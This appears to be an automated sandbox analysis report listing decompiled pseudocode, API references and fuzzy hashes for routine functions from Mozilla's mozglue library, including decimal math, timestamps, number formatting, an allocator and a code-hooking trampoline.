0x6d0edabd
0x00000000

APIs

?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(00000002), ref: 6D0EDABD
?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?), ref: 6D0EDAD8
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000), ref: 6D0EDAE1
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(00000002,00000000), ref: 6D0EDB07
??0Decimal@blink@@QAE@W4Sign@01@H_K@Z.MOZGLUE(00000000,00000003,?,00000002,0000000A), ref: 6D0EDB52

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$V12@$?infinity@?nan@Sign@12@@$Sign@01@
String ID:
API String ID: 3409893042-0
Opcode ID: aa23cf78fa7340bfa876cfb9b40fcc2d0560c6e870cc6b9b9f6cc6acd56e058c
Instruction ID: cc84c1022b1152b753aa8c15f940ca3b7bdef5ed079e7bf356aa3dc3c4c5b82d
Opcode Fuzzy Hash: aa23cf78fa7340bfa876cfb9b40fcc2d0560c6e870cc6b9b9f6cc6acd56e058c
Instruction Fuzzy Hash: 3D31C23290810AEFEB01DF68C840FAEBBF9FF853A4F548115E914A7150D7319A50DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EF2C0, Relevance: 7.6, APIs: 5, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0EF2C0(signed int* __ecx, void* _a4, signed int _a8) {
				intOrPtr _v12;
				intOrPtr _v16;
				void _v28;
				void _v52;
				char _v76;
				char _v100;
				char _v124;
				void* _t21;
				signed int _t25;
				signed int _t30;
				signed int _t32;
				void* _t38;
				signed int* _t45;
				void* _t48;

				_t45 = __ecx;
				E6D0EDE00(__ecx,  &_v28, _a8);
				if(_v16 == 0 || _v16 == 2) {
					_t30 = 6;
					memcpy( &_v52,  &_v28, _t30 << 2);
					_t48 = _t48 + 0xc;
					_t21 =  &_v52;
				} else {
					_t52 = _v12 - 1;
					if(_v12 != 1) {
						_t25 = E6D0EE8C0( &_v28, _t38,  &_v76);
					} else {
						_t25 = E6D0EE6F0( &_v28, _t38,  &_v52);
					}
					_t21 = E6D0EDB70(_t45, _t52,  &_v124, E6D0EDA70(_t25, _t38,  &_v100, _a8));
				}
				_t32 = 6;
				return memcpy(_a4, _t21, _t32 << 2);
			}

0x6d0ef2ce
0x6d0ef2d1
0x6d0ef2da
0x6d0ef31d
0x6d0ef324
0x6d0ef324
0x6d0ef326
0x6d0ef2e2
0x6d0ef2e2
0x6d0ef2e9
0x6d0ef2fa
0x6d0ef2eb
0x6d0ef2ef
0x6d0ef2ef
0x6d0ef314
0x6d0ef314
0x6d0ef330
0x6d0ef33a

APIs

??KDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6D0EF2D1

Part of subcall function 6D0EDE00: ?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?), ref: 6D0EDE65

?ceil@Decimal@blink@@QBE?AV12@XZ.MOZGLUE(?), ref: 6D0EF2EF
?floor@Decimal@blink@@QBE?AV12@XZ.MOZGLUE(?), ref: 6D0EF2FA
??DDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,00000002), ref: 6D0EF308
??GDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,00000000), ref: 6D0EF314

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$V01@V01@@V12@$?ceil@?floor@?nan@
String ID:
API String ID: 1593871797-0
Opcode ID: f0697afad7b046d63558546d04a6daa9b1d51478690f10e6427134df17e3f038
Instruction ID: e0431fc26ab7029c1a54d02e740e3ccdd7812ff5a0be827ab3a0e1742d981a8d
Opcode Fuzzy Hash: f0697afad7b046d63558546d04a6daa9b1d51478690f10e6427134df17e3f038
Instruction Fuzzy Hash: 7A014432D1811DAFDF10DAA4E845FEE7BBDFB85394F11415AE904A7140E7305549CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EB740, Relevance: 7.5, APIs: 5, Instructions: 47
timeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E6D0EB740() {
				signed int _v8;
				struct _SYSTEMTIME _v24;
				struct _FILETIME _v32;
				struct _FILETIME _v40;
				struct _FILETIME _v48;
				struct _FILETIME _v56;
				struct _FILETIME _v64;
				signed int _t13;
				signed int _t34;

				_t13 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t13 ^ _t34;
				GetSystemTime( &_v24);
				if(SystemTimeToFileTime( &_v24,  &_v32) != 0) {
					if(GetProcessTimes(GetCurrentProcess(),  &_v40,  &_v64,  &_v56,  &_v48) == 0) {
						goto L1;
					} else {
						asm("sbb eax, [ebp-0x20]");
						E6D0F7E90(_v32.dwLowDateTime - _v40.dwLowDateTime, _v32.dwHighDateTime, 0xa, 0);
					}
				} else {
					L1:
				}
				return E6D0F70C0(_v8 ^ _t34);
			}

0x6d0eb746
0x6d0eb74d
0x6d0eb754
0x6d0eb76a
0x6d0eb791
0x00000000
0x6d0eb793
0x6d0eb79c
0x6d0eb7a5
0x6d0eb7a5
0x6d0eb76c
0x6d0eb76c
0x6d0eb76e
0x6d0eb7b7

APIs

GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6D0EB40F), ref: 6D0EB754
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D0EB40F), ref: 6D0EB762
GetCurrentProcess.KERNEL32(?,?,?,?), ref: 6D0EB782
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6D0EB40F), ref: 6D0EB789
__aulldiv.LIBCMT ref: 6D0EB7A5

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$ProcessSystem$CurrentFileTimes__aulldiv
String ID:
API String ID: 1723404344-0
Opcode ID: 5ff74c57d8d84152737584795c6496c86748096a0352b9495f33ab3dda4a8e14
Instruction ID: 176035c698906efcd32fc895694c50bd101dc0b0b4b0c8faff86da4d0ba5679c
Opcode Fuzzy Hash: 5ff74c57d8d84152737584795c6496c86748096a0352b9495f33ab3dda4a8e14
Instruction Fuzzy Hash: F101997290020DAFDB05DFE4D984FEFB7BCEB09600F504516AA16E7140EB34AA058B65

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E1EA5, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D0E1EA5(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags, void* _a4, intOrPtr _a8, void** _a12) {
				signed char _v5;
				intOrPtr _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				int _v32;
				void* _v36;
				char _v40;
				int _v44;
				intOrPtr _v48;
				signed int _v52;
				char _v56;
				signed int _t54;
				void* _t57;
				void* _t62;
				void* _t79;
				signed int _t81;
				void* _t82;
				signed char _t89;
				signed int _t90;
				void* _t95;
				int _t98;
				signed int _t100;
				void* _t101;

				_t80 = __ecx;
				_v48 = 0x40;
				_v12 = __ecx;
				 *_a12 = 0;
				_v44 = 0;
				_t5 = _t80 + 4; // 0x0
				_v56 =  *_t5;
				_t7 = _t80 + 8; // 0x0
				_v40 = 0;
				_v52 =  *_t7 << 7;
				if(E6D0E27B5( &_v56) == 0) {
					L36:
					return E6D0E1ACD( &_v56);
				}
				_t54 = E6D0E22DE(__ecx);
				_t81 = _t54;
				if(_t81 == 0) {
					goto L36;
				}
				_t95 = _a4;
				__imp__EncodePointer(_t95, __edi, __esi);
				 *_t81 = _t54;
				_t98 = 0;
				_t82 = _t81 + 4;
				_v16 = _t54 | 0xffffffff;
				while(1) {
					_t57 = E6D0E1E21(_t95, _t98,  &_v5);
					if(_t57 < 0 || (_v5 & 0x0000000c) != 0) {
						break;
					}
					_t100 = _t98 + _t57;
					_t89 =  *((intOrPtr*)(_t100 + _t95));
					if(_t89 + 0x78 > 3) {
						if(_t89 == 0xa1 || _t89 == 0xb8) {
							L23:
							_t98 = _t100 + 5;
							goto L27;
						} else {
							if(_t89 != 0x33 || ( *(_t100 + _t95 + 1) & 0x000000c0) != 0xc0) {
								if((_t89 & 0x000000f8) == 0x40) {
									L18:
									_t98 = _t100 + 1;
									goto L27;
								}
								if(_t89 != 0x83) {
									if(_t89 == 0x68) {
										goto L23;
									}
									if((_t89 & 0x000000f0) != 0x50) {
										if(_t89 != 0x6a) {
											if(_t89 != 0xe9) {
												if(_t89 != 0xff ||  *(_t100 + _t95 + 1) != 0x25) {
													break;
												} else {
													_t98 = _t100 + 6;
													goto L27;
												}
											}
											_v16 = _t100;
											goto L23;
										}
										goto L20;
									}
									goto L18;
								}
								if(( *(_t100 + _t95 + 1) & 0x000000c0) != 0xc0) {
									break;
								}
								_t98 = _t100 + 3;
								goto L27;
							} else {
								L20:
								_t98 = _t100 + 2;
								L27:
								if(_t98 < 5) {
									continue;
								}
								memcpy(_t82, _t95, _t98);
								if(_t98 <= 0x64) {
									_t90 = _v16;
									_t62 = _t95 - _t82;
									if(_t90 < 0) {
										 *((char*)(_t82 + _t98)) = 0xe9;
										 *((intOrPtr*)(_t98 + _t82 + 1)) = _t62 - 5;
									} else {
										 *((intOrPtr*)(_t90 + _t82 + 1)) =  *((intOrPtr*)(_t90 + _t82 + 1)) + _t62;
									}
									_v24 = _v24 & 0x00000000;
									_v36 = _t95;
									_v32 = _t98;
									 *_a12 = _t82;
									_v28 = 0x40;
									_v20 = 0;
									if(E6D0E27B5( &_v36) != 0) {
										 *_t95 = 0xe9;
										 *((intOrPtr*)(_t95 + 1)) = _a8 - _t95 - 5;
									}
									E6D0E1ACD( &_v36);
								}
								break;
							}
						}
					}
					_t101 = _t100 + 1;
					_t79 = E6D0E1DA8(_t101 + _t95, _t101 + _t95, 0);
					if(_t79 < 0) {
						break;
					}
					_t98 = _t101 + _t79;
					goto L27;
				}
				goto L36;
			}

0x6d0e1eaf
0x6d0e1eb1
0x6d0e1eba
0x6d0e1ebd
0x6d0e1ebf
0x6d0e1ec2
0x6d0e1ec5
0x6d0e1ec8
0x6d0e1ece
0x6d0e1ed4
0x6d0e1ede
0x6d0e2038
0x6d0e2044
0x6d0e2044
0x6d0e1ee6
0x6d0e1eeb
0x6d0e1eef
0x00000000
0x00000000
0x6d0e1ef7
0x6d0e1efb
0x6d0e1f01
0x6d0e1f03
0x6d0e1f05
0x6d0e1f0b
0x6d0e1f0e
0x6d0e1f17
0x6d0e1f1e
0x00000000
0x00000000
0x6d0e1f2e
0x6d0e1f30
0x6d0e1f39
0x6d0e1f59
0x6d0e1fb1
0x6d0e1fb1
0x00000000
0x6d0e1f60
0x6d0e1f63
0x6d0e1f75
0x6d0e1f9c
0x6d0e1f9c
0x00000000
0x6d0e1f9c
0x6d0e1f7a
0x6d0e1f92
0x00000000
0x00000000
0x6d0e1f9a
0x6d0e1fa2
0x6d0e1fac
0x6d0e1fb9
0x00000000
0x6d0e1fc2
0x6d0e1fc2
0x00000000
0x6d0e1fc2
0x6d0e1fb9
0x6d0e1fae
0x00000000
0x6d0e1fae
0x00000000
0x6d0e1fa2
0x00000000
0x6d0e1f9a
0x6d0e1f84
0x00000000
0x00000000
0x6d0e1f8a
0x00000000
0x6d0e1fa4
0x6d0e1fa4
0x6d0e1fa4
0x6d0e1fc5
0x6d0e1fc8
0x00000000
0x00000000
0x6d0e1fd1
0x6d0e1fdc
0x6d0e1fde
0x6d0e1fe3
0x6d0e1fe7
0x6d0e1ff2
0x6d0e1ff6
0x6d0e1fe9
0x6d0e1fe9
0x6d0e1fe9
0x6d0e2000
0x6d0e2004
0x6d0e2007
0x6d0e200a
0x6d0e200c
0x6d0e2013
0x6d0e201e
0x6d0e2025
0x6d0e202b
0x6d0e202b
0x6d0e2031
0x6d0e2031
0x00000000
0x6d0e1fdc
0x6d0e1f63
0x6d0e1f59
0x6d0e1f3e
0x6d0e1f45
0x6d0e1f4c
0x00000000
0x00000000
0x6d0e1f52
0x00000000
0x6d0e1f52
0x00000000

APIs

Part of subcall function 6D0E27B5: GetCurrentProcess.KERNEL32(?,?,?,?,?,6D0E1EDC,00000001), ref: 6D0E27C4
Part of subcall function 6D0E27B5: VirtualProtectEx.KERNEL32(00000000), ref: 6D0E27CB

EncodePointer.KERNEL32(?,6D100120,?,00000001), ref: 6D0E1EFB
memcpy.VCRUNTIME140(-00000004,?,-00000005,?,00000000,?), ref: 6D0E1FD1

Strings

@, xrefs: 6D0E200C
@, xrefs: 6D0E1EB1

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentEncodePointerProcessProtectVirtualmemcpy
String ID: @$@
API String ID: 929515480-149943524
Opcode ID: 338691ccb1995dc628f1d831b0742bb1a071e7d850806a1c8dbd38a7de9bca06
Instruction ID: 64eac12e644b139c73ae5363a917860c3c410c40edc85735b3ca31ea06db97b8
Opcode Fuzzy Hash: 338691ccb1995dc628f1d831b0742bb1a071e7d850806a1c8dbd38a7de9bca06
Instruction Fuzzy Hash: 8451C371D0864B9FEB20CF7988907EEFBF2AF06394F40421AD965A7291D3319541CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EB3B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
timeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E6D0EB3B0(signed int __edx, void* _a4, signed int _a8) {
				signed int _v8;
				char _v16;
				short _v24;
				void _v40;
				void _v64;
				void _v88;
				char* _t27;
				signed int _t30;
				char* _t43;
				signed int _t45;
				void* _t47;
				signed int _t52;
				signed int _t55;
				signed int _t58;
				signed int _t60;
				signed int _t62;
				void* _t83;

				_t62 = __edx;
				_t43 = _a8;
				if(_t43 != 0) {
					 *_t43 = 0;
				}
				if(E6D0EB37C(_t62) == 0) {
					L11:
					_t45 = 6;
					return memcpy(_a4, 0x6d100350, _t45 << 2);
				} else {
					_t27 = getenv("MOZ_APP_RESTART");
					_v24 = 0x100;
					asm("xorps xmm0, xmm0");
					asm("movlpd [ebp-0x24], xmm0");
					asm("movlpd [ebp-0x1c], xmm0");
					_pop(_t47);
					if(_t27 == 0 ||  *_t27 == 0) {
						E6D0EBA20(_t47, _t62,  &_v88, 1);
						_t30 = E6D0EB740();
						_a8 = _t30;
						_v8 = _t62;
						_t51 = _t30;
						E6D0F7C30(_t30, _t30, _t62);
						asm("divsd xmm0, [0x6d0faa58]");
						asm("movsd [esp], xmm0");
						E6D0EB30D( &_v16, _t30, _t62,  &_v16, _t51, _t51);
						_t52 = 6;
						E6D0EB2A4( &_v64, memcpy( &_v64,  &_v88, _t52 << 2));
						_t55 = 6;
						memcpy( &_v40,  &_v64, _t55 << 2);
						_t83 = _t83 + 0x24;
						if(E6D0EB285( &_v40, _t62, 0x6d100338) != 0 || (_a8 | _v8) == 0) {
							if(_t43 != 0) {
								 *_t43 = 1;
							}
							goto L9;
						} else {
							goto L10;
						}
					} else {
						L9:
						_t58 = 6;
						memcpy( &_v40, 0x6d100338, _t58 << 2);
						_t83 = _t83 + 0xc;
						L10:
						_t60 = 6;
						memcpy(0x6d100350,  &_v40, _t60 << 2);
						_t83 = _t83 + 0xc;
						goto L11;
					}
				}
			}

0x6d0eb3b0
0x6d0eb3b7
0x6d0eb3be
0x6d0eb3c0
0x6d0eb3c0
0x6d0eb3cf
0x6d0eb495
0x6d0eb49f
0x6d0eb4aa
0x6d0eb3d5
0x6d0eb3da
0x6d0eb3e0
0x6d0eb3e6
0x6d0eb3e9
0x6d0eb3ee
0x6d0eb3f3
0x6d0eb3f6
0x6d0eb403
0x6d0eb40a
0x6d0eb411
0x6d0eb414
0x6d0eb417
0x6d0eb419
0x6d0eb41e
0x6d0eb42b
0x6d0eb431
0x6d0eb444
0x6d0eb44b
0x6d0eb452
0x6d0eb459
0x6d0eb459
0x6d0eb46a
0x6d0eb476
0x6d0eb478
0x6d0eb478
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0eb47b
0x6d0eb47b
0x6d0eb47d
0x6d0eb486
0x6d0eb486
0x6d0eb488
0x6d0eb48a
0x6d0eb493
0x6d0eb493
0x00000000
0x6d0eb493
0x6d0eb3f6

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6D0EB3DA
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6D0EB403
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6D0EB40A

Strings

MOZ_APP_RESTART, xrefs: 6D0EB3D5

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Stamp@mozilla@@Time$ComputeNow@ProcessUptime@V12@_getenv
String ID: MOZ_APP_RESTART
API String ID: 941920389-2657566371
Opcode ID: b4b595603967106862f1ed11624f16f96690c0bb041953d2a9ec215cda64a506
Instruction ID: 4ed406c1201a6e0c6bcdde907d96e68295fa59d474a0ed6ea10b7bb9e7fc4cad
Opcode Fuzzy Hash: b4b595603967106862f1ed11624f16f96690c0bb041953d2a9ec215cda64a506
Instruction Fuzzy Hash: 45310272D0030DAFEF15CEA0D940BEE73F6AF05350F21415AE9047B280DF726A44CA90

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F3FF0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E6D0F3FF0(void* __ebx, unsigned int* __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a12, intOrPtr* _a16) {
				signed int _v8;
				char _v132;
				char _v133;
				char _v140;
				char _v144;
				char _v148;
				void* __ebp;
				signed int _t24;
				signed char _t35;
				signed char _t42;
				void* _t44;
				intOrPtr _t51;
				signed int _t53;
				signed int _t54;
				intOrPtr* _t59;
				signed int _t61;

				_t53 = __edx;
				_t44 = __ebx;
				_t24 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t24 ^ _t61;
				asm("movsd xmm0, [ebp+0x8]");
				_push(__esi);
				_t59 = _a16;
				_push(__edi);
				_t56 = __ecx;
				asm("movsd [ebp-0x98], xmm0");
				asm("movsd [ebp-0x90], xmm0");
				E6D0EFCE8(__ecx,  &_v148);
				_t54 = _t53 & 0x7ff00000;
				if(0 != 0 || _t54 != 0x7ff00000) {
					__eflags = _a12 - 0x3c;
					if(__eflags > 0) {
						L11:
						__eflags = 0;
					} else {
						asm("movsd xmm1, [ebp-0x98]");
						asm("comisd xmm1, [0x6d0fb598]");
						if(__eflags >= 0) {
							goto L11;
						} else {
							asm("movsd xmm0, [0x6d0fb5a8]");
							asm("comisd xmm0, xmm1");
							if(__eflags >= 0) {
								goto L11;
							} else {
								asm("movsd [esp], xmm1");
								_t35 = E6D0F1F20(_t44, 0x7ff00000, _t54, _t56, _t59, 0x7ff00000, 0x7ff00000, 2, _a12,  &_v132, 0x79,  &_v133,  &_v144,  &_v140);
								__eflags = _v133;
								if(_v133 != 0) {
									asm("movsd xmm0, [ebp-0x98]");
									asm("ucomisd xmm0, [0x6d0fb580]");
									asm("lahf");
									__eflags = _t35 & 0x00000044;
									if((_t35 & 0x00000044) != 0) {
										L9:
										_t51 =  *((intOrPtr*)(_t59 + 8));
										 *((intOrPtr*)(_t59 + 8)) = _t51 + 1;
										 *((char*)(_t51 +  *_t59)) = 0x2d;
									} else {
										_t42 =  *_t56 >> 3;
										__eflags = _t42 & 0x00000001;
										if((_t42 & 0x00000001) == 0) {
											goto L9;
										}
									}
								}
								E6D0F16D0(_t56,  &_v132, _v144, _v140, _a12, _t59);
							}
						}
					}
				} else {
					asm("movsd xmm0, [ebp-0x98]");
					asm("movsd [esp], xmm0");
					E6D0F2B30(__ecx, _t54, 0x7ff00000, 0x7ff00000, _t59);
				}
				return E6D0F70C0(_v8 ^ _t61);
			}

0x6d0f3ff0
0x6d0f3ff0
0x6d0f3ff9
0x6d0f4000
0x6d0f4003
0x6d0f400e
0x6d0f400f
0x6d0f4012
0x6d0f4014
0x6d0f4016
0x6d0f401e
0x6d0f4026
0x6d0f4031
0x6d0f4035
0x6d0f4057
0x6d0f405b
0x6d0f410e
0x6d0f410e
0x6d0f4061
0x6d0f4061
0x6d0f4069
0x6d0f4071
0x00000000
0x6d0f4077
0x6d0f4077
0x6d0f407f
0x6d0f4083
0x00000000
0x6d0f4089
0x6d0f40ab
0x6d0f40b0
0x6d0f40b8
0x6d0f40bf
0x6d0f40c1
0x6d0f40c9
0x6d0f40d1
0x6d0f40d2
0x6d0f40d5
0x6d0f40e0
0x6d0f40e0
0x6d0f40e6
0x6d0f40eb
0x6d0f40d7
0x6d0f40d9
0x6d0f40dc
0x6d0f40de
0x00000000
0x00000000
0x6d0f40de
0x6d0f40d5
0x6d0f4105
0x6d0f410a
0x6d0f4083
0x6d0f4071
0x6d0f403b
0x6d0f403b
0x6d0f4048
0x6d0f404d
0x6d0f404d
0x6d0f411f

APIs

Part of subcall function 6D0EFCE8: memmove.VCRUNTIME140(?,?,00000008,00000000,00000000,?,6D0F435F,?,?,?,?,?,?,?,?,6D0EEE7F), ref: 6D0EFCF6

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE(7FF00000,7FF00000,?), ref: 6D0F404D
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE(7FF00000,7FF00000,00000002,0000003C,?,00000079,?,?,?), ref: 6D0F40B0
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,0000003C,?), ref: 6D0F4105

Strings

<, xrefs: 6D0F4057

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDecimalDtoaHandleMode@12@Representation@SpecialValues@memmove
String ID: <
API String ID: 2184465696-4251816714
Opcode ID: f9c2c2bf585dc1ffa25ce13c134632621763d3a09aeeeeb4c42469ae875dbd32
Instruction ID: 0432f5b6881fd36c4e4e81a51c39b8c0feba414f3456494110101ba941cefcf5
Opcode Fuzzy Hash: f9c2c2bf585dc1ffa25ce13c134632621763d3a09aeeeeb4c42469ae875dbd32
Instruction Fuzzy Hash: 1631A07190461DAADF21CF28DC00B9EB7BDFF5A340F20869AED09A7101EB3199C6CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E7F3A, Relevance: 6.4, APIs: 5, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E6D0E7F3A(void* __edx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				signed int _v24;
				char _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t33;
				signed int _t41;
				signed int _t42;
				signed int _t45;
				signed int _t48;
				signed int _t49;
				signed int _t50;
				signed int _t67;
				signed int _t73;
				void* _t84;
				signed int _t86;
				signed int _t89;

				_t84 = __edx;
				_t86 = _a4;
				_t33 = _a8 + 0xfff00000 + _t86;
				if(_t33 >= _t86) {
					_v24 = _v24 & 0x00000000;
					_v20 = _t33;
					EnterCriticalSection(0x6d10026c);
					_t89 =  *(E6D0E72CA(0x6d100284,  &_v12,  &_v40));
					__eflags = _t89;
					if(_t89 != 0) {
						_t67 = _a8 - 0x00000001 +  *((intOrPtr*)(_t89 + 0x10)) &  !(_a8 - 1);
						_t41 = _t67 -  *((intOrPtr*)(_t89 + 0x10));
						_v8 = _t41;
						_t42 =  *(_t89 + 0x18);
						_a8 =  *(_t89 + 0x14) - _t41 - _t86;
						_t73 = _a12;
						_a4 = _t42;
						__eflags = _t73;
						if(_t73 != 0) {
							__eflags = _t42 - 1;
							_t19 = _t42 == 1;
							__eflags = _t19;
							 *_t73 = _t42 & 0xffffff00 | _t19;
						}
						E6D0E6851(_t67, 0x6d100284, _t86, _t89, _t89);
						E6D0E6C68(_t67, 0x6d100288, _t86, _t89, _t89);
						_t45 = _v8;
						__eflags = _t45;
						if(_t45 != 0) {
							 *(_t89 + 0x14) = _t45;
							E6D0E4515(_t67, 0x6d100284, _t84, _t86, _t89, _t89);
							E6D0E46F6(_t67, 0x6d100288, _t84, _t86, _t89, _t89);
							_t89 = 0;
							__eflags = 0;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							L14:
							asm("lock xadd [ecx], eax");
							LeaveCriticalSection(0x6d10026c);
							__eflags = _t89;
							if(_t89 != 0) {
								E6D0E7AED(_t89);
							}
							_t48 = E6D0E8B36(_t67, _t86);
							__eflags = _t48;
							if(_t48 != 0) {
								_t49 = _a12;
								__eflags = _t49;
								if(_t49 != 0) {
									 *_t49 = 1;
								}
								_t50 = _t67;
							} else {
								goto L17;
							}
						} else {
							__eflags = _t89;
							if(_t89 != 0) {
								L13:
								 *((intOrPtr*)(_t89 + 0x10)) = _t67 + _t86;
								 *(_t89 + 0x14) = _a8;
								 *(_t89 + 0x18) = _a4;
								E6D0E4515(_t67, 0x6d100284, _t84, _t86, _t89, _t89);
								E6D0E46F6(_t67, 0x6d100288, _t84, _t86, _t89, _t89);
								_t89 = 0;
								__eflags = 0;
								goto L14;
							} else {
								LeaveCriticalSection(0x6d10026c);
								_t89 = E6D0E7AB0();
								__eflags = _t89;
								if(__eflags != 0) {
									EnterCriticalSection(0x6d10026c);
									goto L13;
								} else {
									E6D0E7D7A(_t84, __eflags, _t67, _t86, _a4);
									goto L17;
								}
							}
						}
					} else {
						LeaveCriticalSection(0x6d10026c);
						L17:
						_t50 = 0;
					}
				} else {
					_t50 = 0;
				}
				return _t50;
			}

0x6d0e7f3a
0x6d0e7f49
0x6d0e7f4c
0x6d0e7f50
0x6d0e7f59
0x6d0e7f64
0x6d0e7f68
0x6d0e7f80
0x6d0e7f82
0x6d0e7f84
0x6d0e7fa1
0x6d0e7fa5
0x6d0e7faa
0x6d0e7fad
0x6d0e7fb2
0x6d0e7fb5
0x6d0e7fb8
0x6d0e7fbb
0x6d0e7fbd
0x6d0e7fbf
0x6d0e7fc2
0x6d0e7fc2
0x6d0e7fc5
0x6d0e7fc5
0x6d0e7fcd
0x6d0e7fd8
0x6d0e7fdd
0x6d0e7fe0
0x6d0e7fe2
0x6d0e7fea
0x6d0e7fed
0x6d0e7ff8
0x6d0e7ffd
0x6d0e7ffd
0x6d0e7ffd
0x6d0e7fff
0x6d0e8003
0x6d0e8064
0x6d0e806d
0x6d0e8076
0x6d0e807c
0x6d0e807e
0x6d0e8081
0x6d0e8086
0x6d0e8089
0x6d0e8090
0x6d0e8092
0x6d0e8098
0x6d0e809b
0x6d0e809d
0x6d0e809f
0x6d0e809f
0x6d0e80a2
0x00000000
0x00000000
0x00000000
0x6d0e8005
0x6d0e8005
0x6d0e8007
0x6d0e803a
0x6d0e8042
0x6d0e8048
0x6d0e804f
0x6d0e8052
0x6d0e805d
0x6d0e8062
0x6d0e8062
0x00000000
0x6d0e8009
0x6d0e800e
0x6d0e8019
0x6d0e801b
0x6d0e801d
0x6d0e8034
0x00000000
0x6d0e801f
0x6d0e8025
0x00000000
0x6d0e802a
0x6d0e801d
0x6d0e8007
0x6d0e7f86
0x6d0e7f87
0x6d0e8094
